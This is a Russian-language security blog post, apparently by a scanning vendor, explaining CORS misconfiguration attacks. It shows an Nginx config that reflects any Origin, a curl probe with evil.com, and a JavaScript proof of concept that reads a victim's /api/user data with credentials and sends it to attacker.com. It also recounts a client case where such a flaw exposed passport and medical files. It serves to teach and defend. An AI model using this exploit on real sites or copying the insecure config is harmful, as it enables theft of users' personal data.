Атаки на CORS: все еще в моде
CORS или Cross-Origin Resource Sharing - защитная особенность браузеров предназначенная для предотвращения передачи данных между разными источниками (доменами). CORS используется для гибкой настройки и смягчения защитного механизма браузеров SOP (Same Origin Policy) который предназначен для контроля доступа к данным при межсайтовых запросах.

Введение
Современные браузеры блокируют большинство распространенных атак, но в результате анализа периметра наших клиентов выявили несколько исключительных случаев где атака с использованием этой мисконфигурации может привести к серьезным последствиям.
Стандартным сценарием является наличие заголовков:
Access-Control-Allow-Origin: https://example.org Access-Control-Allow-Credentials: True
При некорректной конфигурации веб-сервера, например в Nginx:
server {
listen 80;
server_name example.org;
location / {
add_header 'Access-Control-Allow-Origin' '$http_origin';
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range';
add_header 'Access-Control-Expose-Headers' 'Content-Length,Content-Range';
}
}Сервер будет возвращать тот домен который передаст клиент в заголовке Origin, например:
curl http://example.org -H "Origin: http://evil.com"
В ответе сервер вернет следующие заголовки:
< HTTP/1.1 200 OK < server: nginx/1.26.3 < access-control-allow-origin: http://evil.com < access-control-allow-methods: GET, POST, PUT, DELETE, OPTIONS < access-control-expose-headers: Content-Length,Content-Range < access-control-allow-credentials: true
При такой конфигурации атакующий может выполнить простую атаку:
- Создать страницу на которой будет расположен вредоносный скрипт:
<script>
// Target URL with sensitive data
const targetUrl = 'http://example.org/api/user';
// Function to make the cross-origin request
function exploitCORS() {
fetch(targetUrl, {
method: 'GET',
credentials: 'include' // Include cookies if necessary
})
.then(response => response.json())
.then(data => {
// Display the stolen data on the page (for demonstration purposes)
document.getElementById('output').innerText = JSON.stringify(data, null, 2);
// Send the stolen data to the attacker's server
fetch('http://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data),
headers: {
'Content-Type': 'application/json'
}
});
})
.catch(error => {
console.error('Error:', error);
document.getElementById('output').innerText = 'Error: ' + error.message;
});
}
</script>- Заманить жертву аутентифицированную на сайте example.org на страницу с вредоносным скриптом
- В результате эксплуатации злоумышленник получит на свой сервер (attacker.com) данные которые предназначались для жертвы по API пути
api/user
Несмотря на то, что современные браузеры блокируют такую атаку с использованием "SameSite=Lax" атрибута для Cookie, нередко можно встретить где разработчики намеренно могут указать значение атрибута для сессионной Cookie в "none".
Кроме этого, браузер Google Chrome устанавливает это значение в Lax только спустя 2 минуты после аутентификации, что может открыть возможность эксплуатации с использованием цепочек атак (например, обновить сессионную Cookie с помощью дополнительной уязвимости и выполнить запрос до того как атрибут будет установлен в Lax).
Атака на локальную сеть
Еще один менее известный сценарий - это атака на ресурсы во внутренней сети (Интранет). Если внутри сети есть ресурс который не использует какую-либо аутентификацию и заголовки CORS сконфигурированы следующим образом:
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
То атакующий может заманить сотрудника с доступом к Интранет ресурсу (по VPN) на свой сайт и сделать такое же обращение к ресурсу, но без передачи "credentials". В этом случае атакующий сможет получить конфиденциальную информацию с этого ресурса на свой сервер.
Тем не менее, в обычных сценариях такую комбинацию заголовков невозможно проэксплуатировать из-за того, что современные браузеры блокируют передачу сессии если значение заголовка Access-Control-Allow-Origin: * установлено в Wildcard (*).
Реальные случаи взлома
В инфраструктуре одного из клиента выявили распространенное ПО для оказания удаленных онлайн консультаций. В результате анализа приложения выявили несколько API вызовов которые позволяли получить информацию о профиле, загруженных файлах, истории встреч.
Заголовок `Access-Control-Allow-Origin` возвращал произвольный на основе значения заголовка "Origin" в запросе от клиента, а Cookie для сессии использовалась с атрибутом "SameSite=None" что позволило делать межсайтовые запросы к API без ограничений.
Для демонстрации создали PoC который позволил извлекать произвольные файлы загруженные пользователями, которые содержали важные персональные данные, в т.ч. паспортные и медицинские.
Заключение
Несмотря на то, что атаки на CORS стали редкими и предотвращаются во многих случаях браузерами, не стоит оставлять небезопасную конфигурацию без внимания, так как не исключены случаи где некритичный недостаток в конфигурации может привести к серьезным последствиям.
Метаскан помогает выявлять подобные мисконфигурации с помощью Nuclei шаблона, а наши специалисты проводят ручной анализ возможных сценариев эксплуатации в каждом случае.